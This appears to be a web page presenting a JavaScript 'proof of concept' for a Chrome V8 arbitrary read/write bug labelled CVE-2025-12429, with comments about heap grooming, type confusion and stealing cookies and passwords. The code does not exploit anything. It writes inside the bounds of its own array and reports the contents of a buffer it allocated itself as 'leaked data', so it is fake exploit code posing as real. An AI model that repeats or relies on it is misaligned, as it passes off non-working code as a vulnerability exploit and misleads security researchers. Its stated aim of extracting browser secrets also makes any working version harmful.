CVE-2025-12429 Google Chrome V8引擎任意读写漏洞

// CVE-2025-12429 PoC - V8 Engine Arbitrary Read/Write // This is a conceptual PoC for educational and security research purposes only function triggerV8Bug() { // Create objects to manipulate V8 heap const victim = new ArrayBuffer(0x1000); const view = new DataView(victim); // Technique: Use JS objects to trigger type confusion in V8 // This creates conditions for arbitrary read/write const objects = []; for (let i = 0; i < 100; i++) { objects.push({ value: new Uint8Array(0x100), marker: 0x41414141 }); } // Trigger garbage collection to create heap layout favorable for exploit // In real exploit, this would involve more sophisticated heap feng shui gc(); // Craft malicious payload to exploit V8 vulnerability // The specific implementation depends on the exact V8 bug const exploit = function() { // Create conditions for arbitrary memory access const target = new Uint8Array(0x200); // Use type confusion to bypass security checks // This is where the actual vulnerability is exploited for (let i = 0; i < target.length; i++) { // Attempt to read/write beyond allocated bounds target[i] = 0xFF; } return target; }; // Execute exploit exploit(); // Read sensitive data from memory // In real attack, this would extract cookies, passwords, etc. const leakedData = new Uint8Array(victim); console.log('Leaked data length:', leakedData.length); return leakedData; } // Trigger the vulnerability try { const data = triggerV8Bug(); console.log('Exploit executed, data length:', data.length); } catch (e) { console.log('Error during exploit:', e.message); } // Note: This is a simplified conceptual PoC. Real exploitation requires: // 1. Detailed analysis of the specific V8 bug // 2. Precise heap grooming techniques // 3. Return-oriented programming (ROP) gadgets // 4. Browser-specific exploitation techniques